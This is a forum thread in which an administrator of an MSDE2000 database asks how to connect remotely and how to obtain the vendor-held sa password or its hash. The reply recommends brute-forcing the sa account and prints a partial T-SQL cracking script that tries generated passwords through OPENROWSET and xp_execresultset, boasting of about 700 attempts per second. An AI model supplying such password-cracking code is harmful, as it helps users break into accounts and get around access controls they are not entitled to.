A机上有一个信息管理系统,是用的MSDE2000数据库,其它局域网内的机子也安装有这个信息管理系统,带有一个网络设置工具,用来设置数据库位置,都是指向A机的MSDE数据库。
我是管理员,因为这个信息管理系统的功能有些不够用,就想学习一下用SQL语句从MSDE2000数据库中查询一些信息,以及命令行修改一些数据。我用access以及OSQL等工具在A机可以用windows身份验证的方式连接数据库进行操作。但我不知道SA的密码,这个信息管理系统的开发方应该知道,但他不会告诉我这个密码的。
现在有一些问题请教大师们帮我解答一下:
1、如果想从其它局域网机子远程连接到这个A机上的MSDE2000数据库,可以用WINDOWS身份验证吗?如果可以,要怎么做?好象网上都介绍要用户名和密码来连接。我windows身份验证方式来远程连接不可以,不知道是做得不对还是根本不可以这样连接?
2、我通过修改注册中参数改验证方式为只有windows身份验证后,信息管理系统就连接不到数据库了,需要改验证方式为混合模式才行,而且通过sql语句改SA密码后住处管理系统也连接不到数据库了,我所以得出一个判断:---这个安装在其它机子上的信息管理系统,要连接A机的数据库,不是用WINDOWS身份验证的方式,那应该是通过sql server验证方式连接的。不知道这个判断对不对?如果是这样,有没有什么办法通过信息系统连接数据库的过程来得到SA的密码?或者得到SA“密码的加密码”?或者在其它工具如OSQL中通过“密码的加密码”连接数据库?

解决方案 »

  1.   

    (1) You can connect to a remote server with Windows Authentication even if you are on a computer outside its domain/AD - provided that you have a computer inside the domain/AD to serve as a bridge. In fact, if you already have access to A, why can't you just RDP in and connect to MSDE via OSQL?(2) You are most likely right that the application is using SQL login to connect rather than relying on Windows Authentication. That would account for the fact that you have to use mixed mode in order for the application to connect. To hack the sa password, you can engage in a brute-force attack. If the server is fast enough and the password simple enough, it may not even take too long to crack it.To give you an idea, here is a script you can use to flesh out the attack vector:
    declare @username nvarchar(4000), @query nvarchar(4000)
    declare @pwd nvarchar(4000), @char_set nvarchar(4000)
    declare @pwd_len int, @i int, @c char
    select @char_set = N'abcdefghijklmnopqrstuvwxyz0123456789!_'
    select @pwd_len = 8
    select @username = 'sa'
    while @i < @pwd_len begin
    -- make pwd
    (code deleted)
    -- try a login
    select @query = N'select * from OPENROWSET(''MSDASQL'',''DRIVER={SQL Server};SERVER=;uid=' + @username + N';pwd=' + @pwd + N''',''select @@version'')'
    exec xp_execresultset @query, N'master'
    --check for success
    (code deleted)
    -- increment the password
    (code deleted)
    end
    The beauty of this piece of code is that you are using the power of the machine to hack itself. In one of the test carried out, I could get the script to test for 700 passwords a second.